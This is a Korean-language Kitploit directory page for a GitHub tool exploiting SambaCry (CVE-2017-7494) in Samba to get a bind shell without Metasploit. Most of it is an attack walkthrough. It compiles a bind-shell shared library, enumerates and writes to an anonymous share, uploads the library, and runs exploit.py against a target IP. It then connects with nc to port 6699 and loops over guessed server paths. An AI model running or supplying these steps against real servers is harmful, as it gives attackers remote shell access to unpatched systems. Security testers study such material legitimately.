Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/d3fudd/cve-2017-7494_sambacry
Vulnerability AnalysisExploitationShellcodePenetration TestingRemote Access ToolPayload Development
GitHubd3fudd/cve-2017-7494_sambacry

CVE-2017-7494_SambaCry

SambaCry (CVE-2017-7494) Samba용 익스플로잇 | Metasploit 없이 바인드 셸

저장소 보기
723년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2017-7494 SambaCry 익스플로잇

SambaCry (CVE-2017-7494) 익스플로잇 - Samba 공격 (Metasploit 없이 바인드 셸)

포트를 변경해야 하는 경우 bindshell-samba.c의 68번 줄을 수정하고 다시 컴파일하세요:
image

root@kitploit:~
gcc -c -fpic bindshell-samba.c
root@kitploit:~
gcc -shared -o libbindshell-samba.so bindshell-samba.o

공격 방법:

공유 폴더 확인 (이 예제에서는 익명 사용자를 사용합니다):

root@kitploit:~
smbclient -L //192.168.10.131/ -U "" -N
root@kitploit:~
	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	publico         Disk      Publico
	IPC$            IPC       IPC Service (maq131 server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            CHORA

폴더에 접근하여 사용자에게 쓰기 권한이 있는지 확인하세요:

root@kitploit:~
smbclient //192.168.10.131/publico -U "" -N

쓰기 권한이 있으면 libbindshell-samba.so 파일을 업로드하세요:

root@kitploit:~
smb: \> mput libbindshell-samba.so
root@kitploit:~
Put file libbindshell-samba.so? yes
putting file libbindshell-samba.so as \libbindshell-samba.so (3.5 kb/s) (average 3.5 kb/s)
smb: \> dir
  .                                   D        0  Tue Nov  1 19:44:15 2022
  ..                                  D        0  Wed Jun 14 14:16:35 2017
  libbindshell-samba.so               A     8432  Tue Nov  1 19:44:17 2022

		3997376 blocks of size 1024. 1960284 blocks available
smb: \>

그런 다음 익스플로잇을 실행하세요:
python2 exploit.py -t target_ip -m path_absoluto_server_side

예제:

root@kitploit:~
python2 exploit.py -t 192.168.10.131 -m /home/publico/libbindshell-samba.so

6699/TCP 포트에 연결하세요:

root@kitploit:~
nc -vn 192.168.10.131 6699

image

서버 측의 절대 경로를 모르는 경우 추측(guessing)을 수행하고 6699/TCP 포트가 열리기를 기다리는 것이 좋습니다:

root@kitploit:~
for i in $(cat paths.txt);do python2 exploit.py -t 192.168.10.131 -m $i/publico/libbindshell-samba.so 2>/dev/null;done
도구 다운로드